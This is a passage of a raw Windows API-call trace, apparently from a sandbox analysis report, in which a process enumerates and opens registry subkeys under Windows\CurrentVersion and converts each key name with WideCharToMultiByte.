WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x1efc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="visualstudio", lpUsedDefaultChar=0x0) returned 12 [0260.039] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7d, lpName=0x1efb930, cchName=0x104 | out: lpName="WAB") returned 0x0 [0260.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x1efc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab", lpUsedDefaultChar=0x0) returned 3 [0260.039] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7e, lpName=0x1efb930, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0260.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x1efc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbem", lpUsedDefaultChar=0x0) returned 4 [0260.039] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7f, lpName=0x1efb930, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0260.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x1efc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wimmount", lpUsedDefaultChar=0x0) returned 8 [0260.039] RegEnumKeyW (in: hKey=0x34, dwIndex=0x80, lpName=0x1efb930, cchName=0x104 | out: lpName="Windows") returned 0x0 [0260.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x1efc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0260.039] RegOpenKeyExW (in: hKey=0x34, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x90) returned 0x0 [0260.040] RegCloseKey (hKey=0x34) returned 0x0 [0260.040] RegEnumKeyW (in: hKey=0x90, dwIndex=0x0, lpName=0x1efb930, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0260.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0260.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x1efc0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentversion", lpUsedDefaultChar=0x0) returned 14 [0260.040] RegOpenKeyExW (in: hKey=0x90, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x34) returned 0x0 [0260.040] RegCloseKey (hKey=0x90) returned 0x0 [0260.040] RegEnumKeyW (in: hKey=0x34, dwIndex=0x0, lpName=0x1efb930, cchName=0x104 | out: lpName="App Management") returned 0x0 [0260.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0260.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x1efc120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app management", lpUsedDefaultChar=0x0) returned 14 [0260.040] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1, lpName=0x1efb930, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0260.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0260.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x1efc0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app paths", lpUsedDefaultChar=0x0) returned 9 [0260.040] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2, lpName=0x1efb930, cchName=0x104 | out: lpName="Applets") returned 0x0 [0260.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x1efc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applets", lpUsedDefaultChar=0x0) returned 7 [0260.040] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3, lpName=0x1efb930, cchName=0x104 | out: lpName="Audio") returned 0x0 [0260.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x1efc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audio", lpUsedDefaultChar=0x0) returned 5 [0260.040] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4, lpName=0x1efb930, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0260.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0260.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x1efc120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="authentication", lpUsedDefaultChar=0x0) returned 14 [0260.041] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5, lpName=0x1efb930, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0260.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0260.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x1efc0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitlocker", lpUsedDefaultChar=0x0) returned 9 [0260.041] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6, lpName=0x1efb930, cchName=0x104 | out: lpName="BITS") returned 0x0 [0260.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x1efc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0260.041] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7, lpName=0x1efb930, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0260.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0260.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x1efc0d8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="component based servicing", lpUsedDefaultChar=0x0) returned 25 [0260.041] RegEnumKeyW (in: hKey=0x34, dwIndex=0x8, lpName=0x1efb930, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0260.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0260.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x1efc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0260.041] RegEnumKeyW (in: hKey=0x34, dwIndex=0x9, lpName=0x1efb930, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0260.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0260.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x1efc0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controls folder", lpUsedDefaultChar=0x0) returned 15 [0260.041] RegEnumKeyW (in: hKey=0x34, dwIndex=0xa, lpName=0x1efb930, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0260.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x1efc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datetime", lpUsedDefaultChar=0x0) returned 8 [0260.041] RegEnumKeyW (in: hKey=0x34, dwIndex=0xb, lpName=0x1efb930, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0260.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0260.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x1efc0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device installer", lpUsedDefaultChar=0x0) returned 16 [0260.042] RegEnumKeyW (in: hKey=0x34, dwIndex=0xc, lpName=0x1efb930, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0260.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0260.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x1efc120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device metadata", lpUsedDefaultChar=0x0) returned 15 [0260.042] RegEnumKeyW (in: hKey=0x34, dwIndex=0xd, lpName=0x1efb930, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0260.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0260.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x1efc0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagnostics", lpUsedDefaultChar=0x0) returned 11 [0260.042] RegEnumKeyW (in: hKey=0x34, dwIndex=0xe, lpName=0x1efb930, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0260.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0260.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x1efc120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driversearching", lpUsedDefaultChar=0x0) returned 15 [0260.042] RegEnumKeyW (in: hKey=0x34, dwIndex=0xf, lpName=0x1efb930, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0260.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0260.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x1efc0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventcollector", lpUsedDefaultChar=0x0) returned 14 [0260.042] RegEnumKeyW (in: hKey=0x34, dwIndex=0x10, lpName=0x1efb930, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0260.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0260.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x1efc120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventforwarding", lpUsedDefaultChar=0x0) returned 15 [0260.042] RegEnumKeyW (in: hKey=0x34, dwIndex=0x11, lpName=0x1efb930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0260.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x1efc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0260.042] RegEnumKeyW (in: hKey=0x34, dwIndex=0x12, lpName=0x1efb930, cchName=0x104 | out: lpName="Ext") returned 0x0 [0260.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x1efc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ext", lpUsedDefaultChar=0x0) returned 3 [0260.042] RegEnumKeyW (in: hKey=0x34, dwIndex=0x13, lpName=0x1efb930, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0260.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x1efc0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gameux", lpUsedDefaultChar=0x0) returned 6 [0260.043] RegEnumKeyW (in: hKey=0x34, dwIndex=0x14, lpName=0x1efb930, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0260.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0260.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x1efc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="group policy", lpUsedDefaultChar=0x0) returned 12 [0260.043] RegEnumKeyW (in: hKey=0x34, dwIndex=0x15, lpName=0x1efb930, cchName=0x104 | out: lpName="Hints") returned 0x0 [0260.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x1efc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hints", lpUsedDefaultChar=0x0) returned 5 [0260.043] RegEnumKeyW (in: hKey=0x34, dwIndex=0x16, lpName=0x1efb930, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0260.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0260.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x1efc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroup", lpUsedDefaultChar=0x0) returned 9 [0260.043] RegEnumKeyW (in: hKey=0x34, dwIndex=0x17, lpName=0x1efb930, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0260.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x1efc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hotstart", lpUsedDefaultChar=0x0) returned 8 [0260.043] RegEnumKeyW (in: hKey=0x34, dwIndex=0x18, lpName=0x1efb930, cchName=0x104 | out: lpName="IME") returned 0x0 [0260.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x1efc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ime", lpUsedDefaultChar=0x0) returned 3 [0260.043] RegEnumKeyW (in: hKey=0x34, dwIndex=0x19, lpName=0x1efb930, cchName=0x104 | out: lpName="Installer") returned 0x0 [0260.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0260.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x1efc0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="installer", lpUsedDefaultChar=0x0) returned 9 [0260.043] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1a, lpName=0x1efb930, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0260.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0260.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x1efc120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet settings", lpUsedDefaultChar=0x0) returned 17 [0260.044] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1b, lpName=0x1efb930, cchName=0x104 | out: lpName="MCT") returned 0x0 [0260.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x1efc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mct", lpUsedDefaultChar=0x0) returned 3 [0260.044] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1c, lpName=0x1efb930, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0260.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0260.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x1efc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="media center", lpUsedDefaultChar=0x0) returned 12 [0260.044] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1d, lpName=0x1efb930, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0260.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0260.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x1efc0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmdevices", lpUsedDefaultChar=0x0) returned 9 [0260.044] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1e, lpName=0x1efb930, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0260.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x1efc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssha", lpUsedDefaultChar=0x0) returned 5 [0260.044] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1f, lpName=0x1efb930, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0260.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x1efc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netcache", lpUsedDefaultChar=0x0) returned 8 [0260.044] RegEnumKeyW (in: hKey=0x34, dwIndex=0x20, lpName=0x1efb930, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0260.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0260.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x1efc120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oeminformation", lpUsedDefaultChar=0x0) returned 14 [0260.044] RegEnumKeyW (in: hKey=0x34, dwIndex=0x21, lpName=0x1efb930, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0260.044] WideCharToMultiByte 